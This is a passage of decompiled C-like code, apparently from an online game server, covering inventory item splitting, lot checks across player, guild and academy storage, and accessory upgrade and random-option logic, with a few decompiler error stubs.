v99 = (ITEM_INVEN *)"ShineObjectClass::ShinePlayer::sp_NC_ITEM_SPLIT_REQ : Invalid Item to box"; goto LABEL_76; } } else { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 14, 591); } } else { LABEL_27: (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v4 + 776))(v18, 12, 14, 589); } } else { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v4 + 776))(v4, 12, 14, 589); } } else { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 14, 590); } break; case 5u: v100 = 5; v99 = (ITEM_INVEN *)"ShineObjectClass::ShinePlayer::sp_NC_ITEM_SPLIT_REQ : Invalid Item from box"; LABEL_74: AssertClass::ac_AssertFail(&shineassert, (const char *)v99, v100); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 14, 1092); break; default: v100 = v10; v99 = (ITEM_INVEN *)"ShineObjectClass::ShinePlayer::sp_NC_ITEM_SPLIT_REQ : Invalid Item from box"; LABEL_76: AssertClass::ac_AssertFail(&shineassert, (const char *)v99, v100); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 14, 1092); break; } } else { LABEL_12: (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 14, 1093); } LABEL_69: v114 = -1; FunctionEntarance::_FunctionEntarance(&_); LABEL_80: __security_check_cookie((unsigned int)&_ ^ v113); } //----- (005149E0) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShinePlayer::so_ply_ItemLotCheck(void *ecx0, unsigned int itemkey) { void *v2; // esi@1 int v3; // edx@1 int v4; // eax@3 int v5; // eax@8 int v6; // eax@15 unsigned __int16 *v7; // ST04_4@15 unsigned int v8; // eax@15 GuildStorage::GuildStorageElement *v9; // edi@15 bool i; // zf@18 unsigned int v11; // edi@22 __int16 v12; // ax@23 int v13; // eax@24 unsigned __int16 *v14; // eax@34 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v15; // eax@34 DiceTaiSai *v16; // esi@34 ItemBag *v17; // eax@36 int v18; // eax@38 __int16 v19; // si@45 ItemBoxIterItem this; // [sp+14h] [bp-2Ch]@36 int ibii; // [sp+24h] [bp-1Ch]@1 char *v23; // [sp+28h] [bp-18h]@1 int v24; // [sp+2Ch] [bp-14h]@1 int v25; // [sp+30h] [bp-10h]@1 int v26; // [sp+3Ch] [bp-4h]@1 v2 = ecx0; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ItemLotCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_ItemLotCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ibii = (int)&ItemBoxIterator::_vftable_; v23 = (char *)v2 + 35680; v3 = *((_DWORD *)v2 + 8920); v26 = 0; v25 = (*(int (**)(void))(v3 + 8))(); ibii = (int)&ItemBoxIterItem::_vftable_; LOBYTE(v26) = 1; v24 = 0; if ( (unsigned __int8)ItemBoxIterItem::_vftable_(&ibii) || ItemBoxIterator::ibi_Next((ItemBoxIterator *)&ibii) ) { while ( 1 ) { v4 = (**(int (__stdcall ***)(_DWORD))v23)(v24); if ( !v4 ) break; if ( !*(_DWORD *)(v4 + 112) ) break; if ( *(_DWORD *)v4 == *(_DWORD *)itemkey && *(_DWORD *)(v4 + 4) == *(_DWORD *)(itemkey + 4) ) { LABEL_23: v12 = (*(int (__stdcall **)(int))(**(_DWORD **)(v4 + 112) + 24))(v4 + 8); ibii = (int)&ItemBoxIterator::_vftable_; LABEL_45: --funcallanalizer.fca_stackpoint; v19 = v12; v26 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ItemLotCheck"); return v19; } if ( !ItemBoxIterator::ibi_Next((ItemBoxIterator *)&ibii) ) goto LABEL_8; } } else { LABEL_8: ibii = (int)&ItemBoxIterator::_vftable_; v23 = (char *)v2 + 69776; v5 = *((_DWORD *)v2 + 17444); LOBYTE(v26) = 0; v25 = (*(int (**)(void))(v5 + 8))(); ibii = (int)&ItemBoxIterItem::_vftable_; LOBYTE(v26) = 2; v24 = 0; if ( !(unsigned __int8)ItemBoxIterItem::_vftable_(&ibii) && !ItemBoxIterator::ibi_Next((ItemBoxIterator *)&ibii) ) { LABEL_15: v6 = *(_DWORD *)v2; LOBYTE(v26) = 0; v7 = (unsigned __int16 *)(*(int (__thiscall **)(void *))(v6 + 2096))(v2); v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2072))(v2); v9 = GuildStorage::GuildStorageManager::gsm_FindStorage(&gldstoramanager, v8, v7); if ( v9 && v9->gse_Guild == (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 2072))(v2) ) { ibii = (int)&ItemBoxIterator::_vftable_; v23 = (char *)v9; v25 = v9->gse_Storage.baseclass_0.vfptr->ib_BagSizeOutput((ItemBag *)v9); ibii = (int)&ItemBoxIterItem::_vftable_; LOBYTE(v26) = 3; v24 = 0; if ( (unsigned __int8)ItemBoxIterItem::_vftable_(&ibii) ) goto LABEL_24; for ( i = ItemBoxIterator::ibi_Next((ItemBoxIterator *)&ibii) == 0; ; i = ItemBoxIterator::ibi_Next((ItemBoxIterator *)&ibii) == 0 ) { if ( i ) { LOBYTE(v26) = 0; goto LABEL_21; } LABEL_24: v13 = (**(int (__stdcall ***)(_DWORD))v23)(v24); if ( !v13 ) break; if ( !*(_DWORD *)(v13 + 112) ) break; if ( *(_DWORD *)v13 == *(_DWORD *)itemkey && *(_DWORD *)(v13 + 4) == *(_DWORD *)(itemkey + 4) ) { v12 = (*(int (__stdcall **)(int))(**(_DWORD **)(v13 + 112) + 24))(v13 + 8); ibii = (int)&ItemBoxIterator::_vftable_; goto LABEL_45; } } ibii = (int)&ItemBoxIterator::_vftable_; } else { LABEL_21: if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2136))(v2) ) { if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2136))(v2) == 1 ) v11 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2140))(v2); else v11 = itemkey; } else { v11 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2072))(v2); } v14 = (unsigned __int16 *)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2108))(v2); v15 = GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_FindStorage( &gldacademyrewardstoramanager, v11, v14); v16 = (DiceTaiSai *)v15; if ( v15 && GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_GuildCheck(v15, v11) ) { MoveManager::MoveManager(v16); this.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterator::_vftable_; this.baseclass_0.ibi_itembag = v17; this.baseclass_0.ibi_Limit = v17->vfptr->ib_BagSizeOutput(v17); this.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterItem::_vftable_; LOBYTE(v26) = 4; this.baseclass_0.ibi_finger = 0; if ( (unsigned __int8)ItemBoxIterItem::_vftable_(&this) || ItemBoxIterator::ibi_Next(&this.baseclass_0) ) { do { v18 = ((int (__stdcall *)(int))this.baseclass_0.ibi_itembag->vfptr->ib_GetInventoryCell)(this.baseclass_0.ibi_finger); if ( !v18 ) break; if ( !*(_DWORD *)(v18 + 112) ) break; if ( *(_DWORD *)v18 == *(_DWORD *)itemkey && *(_DWORD *)(v18 + 4) == *(_DWORD *)(itemkey + 4) ) { v12 = (*(int (__stdcall **)(int))(**(_DWORD **)(v18 + 112) + 24))(v18 + 8); this.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterator::_vftable_; goto LABEL_45; } } while ( ItemBoxIterator::ibi_Next(&this.baseclass_0) ); } this.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterator::_vftable_; } } goto LABEL_47; } while ( 1 ) { v4 = (**(int (__stdcall ***)(_DWORD))v23)(v24); if ( !v4 ) break; if ( !*(_DWORD *)(v4 + 112) ) break; if ( *(_DWORD *)v4 == *(_DWORD *)itemkey && *(_DWORD *)(v4 + 4) == *(_DWORD *)(itemkey + 4) ) goto LABEL_23; if ( !ItemBoxIterator::ibi_Next((ItemBoxIterator *)&ibii) ) goto LABEL_15; } } ibii = (int)&ItemBoxIterator::_vftable_; LABEL_47: --funcallanalizer.fca_stackpoint; v26 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ItemLotCheck"); return 0; } // 639188: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); //----- (00514DC0) -------------------------------------------------------- #error "514DC0: undefined or illegal type '#734' (funcsize=348)" //----- (00515250) -------------------------------------------------------- #error "515250: undefined or illegal type '#593' (funcsize=77)" //----- (00515360) -------------------------------------------------------- #error "515360: undefined or illegal type '#593' (funcsize=130)" //----- (00515530) -------------------------------------------------------- _UNKNOWN *__cdecl ShineObjectClass::ShineObject::so_GetLastUpgradeInfo() { return &ShineObjectClass::ShineObject::so_deflastupgradeinfo; } //----- (00515540) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_GetLastUpgradeInfo(void *this) { return (int)((char *)this + 139469); } //----- (00515550) -------------------------------------------------------- bool __cdecl item_RandomOptionUpgrade(SHINE_ITEM_STRUCT *pItemStruct, ItemOptionStorage::Element *rOption, int muliple, int NewLevel) { int v4; // ecx@1 void *v5; // eax@1 void *v6; // ebx@1 unsigned int v7; // edi@1 int v8; // eax@4 unsigned int v9; // esi@6 char *v10; // ST14_4@6 int v11; // esi@6 ItemRandomOption::RandomOptionDatum *v12; // eax@6 CardDeck::CardStack *v13; // ecx@8 bool result; // al@10 int v15; // eax@11 unsigned int v16; // esi@12 char *v17; // edi@12 char *v18; // ebx@19 unsigned int v19; // esi@24 char *v20; // edi@24 signed int v21; // esi@30 unsigned int *v22; // edi@34 int v23; // eax@36 unsigned __int8 v24; // al@40 bool v25; // cf@40 ItemOptionStorage::Element *v26; // ecx@40 char v27; // al@41 unsigned __int16 v28; // si@43 int v29; // eax@43 int v30; // eax@43 int v31; // edi@43 int v32; // eax@43 int v33; // edx@45 int nMaxCount; // [sp+Ch] [bp-4Ch]@1 ItemOptionStorage::Element *v35; // [sp+10h] [bp-48h]@1 int RandomOptionMaxCount; // [sp+14h] [bp-44h]@11 unsigned int option_type; // [sp+18h] [bp-40h]@39 CardDeck::CardStack CardStack; // [sp+1Ch] [bp-3Ch]@6 void *index; // [sp+3Ch] [bp-1Ch]@1 char bEnableOption; // [sp+40h] [bp-18h]@18 int v41; // [sp+41h] [bp-17h]@18 unsigned int v42; // [sp+48h] [bp-10h]@1 int v43; // [sp+54h] [bp-4h]@6 v4 = pItemStruct->itemid; v42 = (unsigned int)&nMaxCount ^ __security_cookie; v35 = rOption; v5 = ItemDataBox::operator__(&itemdatabox, v4); v6 = v5; v7 = 0; index = v5; if ( !v5 ) { AssertClass::ac_AssertFail(&shineassert, "item_RandomOptionUpgrade : Not Found Item ID :", pItemStruct->itemid); goto LABEL_10; } v8 = *(_DWORD *)v5; if ( *(_DWORD *)v6 && *(_DWORD *)(v8 + 102) == 4 ) { CardDeck::CardStack::CardStack(&CardStack); v9 = pItemStruct->itemattr.amulet.option.fixed.optionnumber.str._bf0; v10 = (char *)(*((_DWORD *)v6 + 1) + 146); v43 = 0; v11 = v9 >> 1; v12 = ItemRandomOption::RandomOptionTable::operator__(&itemrandomoptiontable, v10); if ( !v12 ) { AssertClass::ac_AssertFail( &shineassert, "item_RandomOptionUpgrade : Not Found RandomOptionDropGroup :", (const char *)(*((_DWORD *)v6 + 1) + 146)); goto LABEL_8; } v15 = v12->MaxOpCount; RandomOptionMaxCount = v15; if ( muliple >= 0 ) { if ( v11 >= v15 ) { if ( v11 > 0 ) { v22 = (unsigned int *)pItemStruct->itemattr.amulet.option.optionlist; do { CardDeck::CardStack::cs_InsertTop(&CardStack, *(_BYTE *)v22); v22 = (unsigned int *)((char *)v22 + 3); --v11; } while ( v11 ); } } else { nMaxCount = 0; bEnableOption = 0; v41 = 0; if ( v11 > 0 ) { v18 = (char *)pItemStruct->itemattr.amulet.option.optionlist; do { if ( (unsigned __int8)*v18 < 5u ) { *(&bEnableOption + (unsigned __int8)*v18) = 1; ++nMaxCount; CardDeck::CardStack::cs_InsertTop(&CardStack, v7); } ++v7; v18 += 3; } while ( (signed int)v7 < v11 ); v6 = index; } v19 = 0; v20 = (char *)pItemStruct->itemattr.amulet.upgradeopton; do { if ( *(_WORD *)v20 && !*(&bEnableOption + v19) ) { CardDeck::CardStack::cs_InsertTop(&CardStack, v19); ++nMaxCount; } ++v19; v20 += 2; } while ( (signed int)v19 < 5 ); if ( nMaxCount < RandomOptionMaxCount ) { CardDeck::CardStack::cs_Clear(&CardStack); v21 = 0; do CardDeck::CardStack::cs_InsertTop(&CardStack, v21++); while ( v21 < 5 ); } } } else { v16 = 0; v17 = (char *)pItemStruct->itemattr.amulet.upgradeopton; do { if ( *(_WORD *)v17 ) CardDeck::CardStack::cs_InsertTop(&CardStack, v16); ++v16; v17 += 2; } while ( (signed int)v16 < 5 ); } v23 = CardDeck::CardStack::cs_CardNum(&CardStack); v13 = &CardStack; if ( !v23 ) goto LABEL_9; if ( CardDeck::CardStack::cs_CardNum(&CardStack) > 1 ) CardDeck::CardStack::cs_Suffle(&CardStack, 10); if ( !CardDeck::CardStack::cs_TakeTop(&CardStack, &option_type) || (v24 = option_type, v25 = (unsigned __int8)option_type < 5u, v26 = v35, v35->itemoption_type = option_type, !v25) ) { LABEL_8: v13 = &CardStack; LABEL_9: v43 = -1; CardDeck::CardStack::_CardStack(v13); goto LABEL_10; } v26->itemoption_value = pItemStruct->itemattr.amulet.upgradeopton[v24]; v27 = 1; if ( muliple < 1 ) v27 = 0; v28 = (unsigned __int8)v27; v29 = AccUpGradeInfoTable::GetRandomUpgradeValue( *(_WORD *)(*(_DWORD *)v6 + 245), (unsigned __int8)v27, pItemStruct->itemattr.amulet.upgrade); v30 = v35->itemoption_value + muliple * v29; v31 = v30 & ((v30 <= 0) - 1); v32 = AccUpGradeInfoTable::GetLimit(*(_WORD *)(*(_DWORD *)v6 + 245), v28, pItemStruct->itemattr.amulet.upgrade); if ( v31 < v32 ) LOWORD(v32) = v31; v33 = v35->itemoption_type; v35->itemoption_value = v32; pItemStruct->itemattr.amulet.upgradeopton[v33] = v32; if ( !NewLevel ) { *(_QWORD *)&pItemStruct->itemattr.amulet.upgradeopton[0] = 0i64; pItemStruct->itemattr.amulet.upgradeopton[4] = 0; } v43 = -1; CardDeck::CardStack::_CardStack(&CardStack); } LABEL_10: __security_check_cookie((unsigned int)&nMaxCount ^ v42); return result; } //----- (00515840) -------------------------------------------------------- char __cdecl Item_GetUpgradeLimit(unsigned __int16 nItemID) { int v1; // ecx@2 ItemInfo *v3; // eax@4 char v4; // bl@5 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Item_GetUpgradeLimit"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Item_GetUpgradeLimit"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !ItemDataBox::operator__(&itemdatabox, nItemID) ) { v1 = funcallanalizer.fca_stackpoint - 1; LABEL_3: funcallanalizer.fca_stackpoint = v1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Item_GetUpgradeLimit"); return 0; } v3 = ItemDataBox::operator__(&itemdatabox, nItemID)->data; v1 = funcallanalizer.fca_stackpoint - 1; if ( !v3 ) goto LABEL_3; v4 = v3->UpLimit; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Item_GetUpgradeLimit"); return v4; } //----- (00515930) -------------------------------------------------------- bool __cdecl Item_IsUpSource(unsigned __int16 nItemID, unsigned __int16 nRawID, char nItemUpgradeLevel) { ItemInfo *v3; // esi@2 bool result; // al@4 ItemInfo *v5; // eax@7 unsigned int v6; // ecx@8 FunctionEntarance _; // [sp+8h] [bp-10h]@1 int v8; // [sp+14h] [bp-4h]@1 _.fe_FunctionCode = "Item_IsUpSource"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Item_IsUpSource"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Item_IsUpSource"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = 0; if ( ItemDataBox::operator__(&itemdatabox, nRawID) && (v3 = ItemDataBox::operator__(&itemdatabox, nRawID)->data) != 0 && v3->Class == 14 ) { if ( ItemDataBox::operator__(&itemdatabox, nItemID) ) { v5 = ItemDataBox::operator__(&itemdatabox, nItemID)->data; if ( !v5 || (v6 = v3->Grade, v5->Grade != v6) && v6 || (unsigned __int8)nItemUpgradeLevel < v3->UpLimit || (unsigned __int8)nItemUpgradeLevel > v3->UpResource ) { v8 = -1; FunctionEntarance::_FunctionEntarance(&_); result = 0; } else { v8 = -1; FunctionEntarance::_FunctionEntarance(&_); result = 1; } } else { --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Item_IsUpSource"); result = 0; } } else { --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Item_IsUpSource"); result = 0; } return result; } //----- (00515AA0) -------------------------------------------------------- bool __cdecl Item_IsUpSourceLeftRight(unsigned __int16 nItemID, unsigned __int16 nRawID, char nItemUpgradeLevel) { ItemInfo *v3; // esi@2 bool result; // al@3 ItemClassEnum v5; // eax@4 ItemInfo *v6; // eax@9 FunctionEntarance _; // [sp+8h] [bp-10h]@1 int v8; // [sp+14h] [bp-4h]@1 _.fe_FunctionCode = "Item_IsUpSource"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Item_IsUpSource"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Item_IsUpSource"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = 0; if ( ItemDataBox::operator__(&itemdatabox, nRawID) && (v3 = ItemDataBox::operator__(&itemdatabox, nRawID)->data) != 0 ) { v5 = v3->Class; if ( v5 == 19 || v5 == 25 || v5 == 20 ) { if ( ItemDataBox::operator__(&itemdatabox, nItemID) && (v6 = ItemDataBox::operator__(&itemdatabox, nItemID)->data) != 0 ) { if ( v6->Grade != v3->Grade || (unsigned __int8)nItemUpgradeLevel < v3->UpLimit || (unsigned __int8)nItemUpgradeLevel > v3->UpResource ) { v8 = -1; FunctionEntarance::_FunctionEntarance(&_); result = 0; } else { v8 = -1; FunctionEntarance::_FunctionEntarance(&_); result = 1; } } else { --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Item_IsUpSource"); result = 0; } } else { v8 = -1; FunctionEntarance::_FunctionEntarance(&_); result = 0; } } else { --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Item_IsUpSource"); result = 0; } return result; } //----- (00515C30) -------------------------------------------------------- char __cdecl Item_AdjUpgradeLevel(SHINE_ITEM_STRUCT *pItemStruct, char AdjValue) { char v2; // dl@2 char v3; // bl@2 char v4; // dl@3 char v5; // dl@5 char result; // al@6 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Item_AdjUpgradeLevel"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Item_AdjUpgradeLevel"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; switch ( ItemDataBox::operator__(&itemdatabox, pItemStruct->itemid)->data->Class ) { case 5: case 8: v2 = AdjValue + pItemStruct->itemattr.blot.lot; pItemStruct->itemattr.blot.lot = v2; v3 = v2; goto LABEL_6; case 6: v4 = AdjValue + pItemStruct->itemattr.blot.lot; pItemStruct->itemattr.blot.lot = v4; v3 = v4; goto LABEL_6; case 7: v3 = AdjValue + pItemStruct->itemattr.blot.lot; pItemStruct->itemattr.blot.lot = v3; goto LABEL_6; case 4: v5 = AdjValue + pItemStruct->itemattr.amulet.upgrade; pItemStruct->itemattr.amulet.upgrade = v5; v3 = v5; LABEL_6: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Item_AdjUpgradeLevel"); result = v3; break; default: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Item_AdjUpgradeLevel"); result = 0; break; } return result; } //----- (00515D60) -------------------------------------------------------- char __cdecl Item_AdjFailCount(SHINE_ITEM_STRUCT *pItemStruct, char AdjValue, char bSet) { char v3; // bl@3 char v4; // al@4 char v5; // cl@7 char v6; // al@10 char result; // al@15 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Item_AdjFailCount"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Item_AdjFailCount"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; switch ( ItemDataBox::operator__(&itemdatabox, pItemStruct->itemid)->data->Class ) { case 5: case 8: if ( bSet ) { BYTE2(pItemStruct->itemattr.dlot.lot) = AdjValue; v3 = AdjValue; } else { v4 = AdjValue + BYTE2(pItemStruct->itemattr.dlot.lot); BYTE2(pItemStruct->itemattr.dlot.lot) = v4; v3 = v4; } goto LABEL_15; case 6: if ( bSet ) { BYTE2(pItemStruct->itemattr.dlot.lot) = AdjValue; v3 = AdjValue; } else { v5 = AdjValue + BYTE2(pItemStruct->itemattr.dlot.lot); BYTE2(pItemStruct->itemattr.dlot.lot) = v5; v3 = v5; } goto LABEL_15; case 7: if ( bSet ) { BYTE2(pItemStruct->itemattr.dlot.lot) = AdjValue; v3 = AdjValue; } else { v6 = AdjValue + BYTE2(pItemStruct->itemattr.dlot.lot); BYTE2(pItemStruct->itemattr.dlot.lot) = v6; v3 = v6; } goto LABEL_15; case 4: if ( bSet ) pItemStruct->itemattr.amulet.upgradefailcount = AdjValue; else pItemStruct->itemattr.amulet.upgradefailcount += AdjValue; v3 = pItemStruct->itemattr.amulet.upgradefailcount; LABEL_15: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Item_AdjFailCount"); result = v3; break; default: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Item_AdjFailCount"); result = 0; break; } return result; } //----- (00515EF0) -------------------------------------------------------- #error "515EF0: undefined or illegal type '#593' (funcsize=264)" //----- (00516290) -------------------------------------------------------- AccUpgrade *__cdecl ITableBase::GetByIndex(unsigned int uiIndex) { return (AccUpgrade *)CDataReader::GetRecord( (CDataReader *)(ITableBase::ms_pkTable + 4), uiIndex); } // 130B9630: using guessed type int ITableBase_AccUpgrade_AccUpGradeTable___ms_pkTable; //----- (005162B0) -------------------------------------------------------- char __cdecl Item_Upgrade(#734 *a1, ItemBag *pInventory, char nItemUpLimit, char nItemUpgradeFailCount, char RawLeftSlotNo, char RawRightSlotNo, char RawMiddleSlotNo) { ItemBag *v7; // edi@1 ItemBagVtbl *v8; // edx@1 int v9; // esi@1 int v10; // ebx@1 ItemInfo *v11; // eax@3 int v12; // edx@3 signed int v13; // ebp@3 char v14; // dl@5 unsigned __int8 v15; // al@5 char result; // al@10 int v17; // eax@11 int v18; // esi@11 int v19; // eax@14 int v20; // ebp@14 ItemDataBox::ItemDataBoxIndex *v21; // eax@16 int v22; // eax@18 int v23; // esi@18 int v24; // eax@24 int v25; // edi@24 int v26; // esi@27 void *v27; // eax@27 unsigned __int16 v28; // cx@27 unsigned __int16 v29; // dx@27 unsigned __int16 v30; // di@27 AccUpgrade *v31; // eax@28 unsigned __int16 v32; // cx@29 unsigned __int16 v33; // dx@29 unsigned __int16 v34; // ax@29 ItemDataBox::ItemDataBoxIndex *v35; // eax@31 int v36; // eax@34 signed int v37; // esi@36 signed int v38; // edi@37 int v39; // ecx@38 int v40; // eax@38 unsigned __int16 v41; // ax@40 char v42; // bl@41 signed int v43; // esi@48 char *v44; // [sp+0h] [bp-4Ch]@2 char nItemUpgradeLevel; // [sp+14h] [bp-38h]@4 unsigned __int16 nItemUpgradeLevela[2]; // [sp+14h] [bp-38h]@27 FunctionEntarance _; // [sp+18h] [bp-34h]@1 unsigned __int16 CriFail; // [sp+1Ch] [bp-30h]@27 unsigned int nGrade; // [sp+20h] [bp-2Ch]@3 ItemInfo *pItemIDRawInfo; // [sp+24h] [bp-28h]@13 ItemInfo *pItemRawLeftInfo; // [sp+28h] [bp-24h]@16 ItemInfo *pItemRawRightInfo; // [sp+2Ch] [bp-20h]@20 ItemInfo *pItemRawMiddleInfo; // [sp+30h] [bp-1Ch]@26 int ItemClass; // [sp+34h] [bp-18h]@3 ItemInfo *pItemIDInfo; // [sp+38h] [bp-14h]@3 int v56; // [sp+3Ch] [bp-10h]@27 int v57; // [sp+48h] [bp-4h]@1 char pInventorya; // [sp+54h] [bp+8h]@1 unsigned __int8 nItemUpLimita; // [sp+58h] [bp+Ch]@4 _.fe_FunctionCode = "Item_Upgrade Table mode"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Item_Upgrade Table mode"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Item_Upgrade Table mode"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v7 = pInventory; v8 = pInventory->vfptr; v57 = 0; v9 = v8->ib_GetInventoryCell(pInventory, (unsigned __int8)nItemUpLimit); v10 = *(_WORD *)(v9 + 8); pInventorya = Item_GetUpgradeLimit(*(_WORD *)(v9 + 8)); if ( pInventorya ) { v11 = ItemDataBox::operator__(&itemdatabox, v10)->data; nGrade = v11->Grade; v12 = **(_DWORD **)(v9 + 112); pItemIDInfo = v11; v13 = 0; ItemClass = (*(int (**)(void))(v12 + 36))(); switch ( ItemClass ) { case 5: case 8: nItemUpgradeLevel = *(_BYTE *)(v9 + 10); nItemUpLimita = *(_BYTE *)(v9 + 12); break; case 6: v14 = *(_BYTE *)(v9 + 10); v15 = *(_BYTE *)(v9 + 12); goto LABEL_8; case 7: nItemUpgradeLevel = *(_BYTE *)(v9 + 10); nItemUpLimita = *(_BYTE *)(v9 + 12); break; case 4: v14 = *(_BYTE *)(v9 + 26); v15 = *(_BYTE *)(v9 + 28); LABEL_8: nItemUpgradeLevel = v14; nItemUpLimita = v15; break; default: v44 = "Item_Upgrade Table mode"; goto LABEL_60; } if ( pInventorya <= (unsigned __int8)nItemUpgradeLevel ) { --funcallanalizer.fca_stackpoint; v57 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Item_Upgrade Table mode"); return 1; } v17 = (int)v7->vfptr->ib_GetInventoryCell(v7, (unsigned __int8)nItemUpgradeFailCount); v18 = *(_WORD *)(v17 + 8); if ( !Item_IsUpSource(v10, *(_WORD *)(v17 + 8), nItemUpgradeLevel) ) { --funcallanalizer.fca_stackpoint; v57 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Item_Upgrade Table mode"); return 2; } pItemIDRawInfo = ItemDataBox::operator__(&itemdatabox, v18)->data; if ( RawLeftSlotNo != -1 ) { v19 = (int)v7->vfptr->ib_GetInventoryCell(v7, (unsigned __int8)RawLeftSlotNo); v20 = *(_WORD *)(v19 + 8); if ( !Item_IsUpSourceLeftRight(v10, *(_WORD *)(v19 + 8), nItemUpgradeLevel) ) { v57 = -1; FunctionEntarance::_FunctionEntarance(&_); return 8; } v21 = ItemDataBox::operator__(&itemdatabox, v20); v13 = 13 * nItemUpLimita; pItemRawLeftInfo = v21->data; } if ( RawRightSlotNo != -1 ) { v22 = (int)v7->vfptr->ib_GetInventoryCell(v7, (unsigned __int8)RawRightSlotNo); v23 = *(_WORD *)(v22 + 8); if ( !Item_IsUpSourceLeftRight(v10, *(_WORD *)(v22 + 8), nItemUpgradeLevel) ) { v57 = -1; FunctionEntarance::_FunctionEntarance(&_); return 9; } pItemRawRightInfo = ItemDataBox::operator__(&itemdatabox, v23)->data; v13 += 12 * nItemUpLimita; } if ( v13 / 10 ) nItemUpLimita = v13 / 10; if ( RawMiddleSlotNo != -1 ) { v24 = (int)v7->vfptr->ib_GetInventoryCell(v7, (unsigned __int8)RawMiddleSlotNo); v25 = *(_WORD *)(v24 + 8); if ( !Item_IsUpSourceLeftRight(v10, *(_WORD *)(v24 + 8), nItemUpgradeLevel) ) { v57 = -1; FunctionEntarance::_FunctionEntarance(&_); return 10; } pItemRawMiddleInfo = ItemDataBox::operator__(&itemdatabox, v25)->data; } v56 = (unsigned __int8)nItemUpgradeLevel; v26 = (unsigned __int8)nItemUpgradeLevel + 12 * nGrade - 12; v27 = CDataReader::GetRecord(&gItemUpgrade, (unsigned __int8)nItemUpgradeLevel + 12 * nGrade - 12); v28 = *((_WORD *)v27 + 2); v29 = *((_WORD *)v27 + 3); v30 = *((_WORD *)v27 + 4); LOWORD(nGrade) = *((_WORD *)v27 + 5); CriFail = v28; 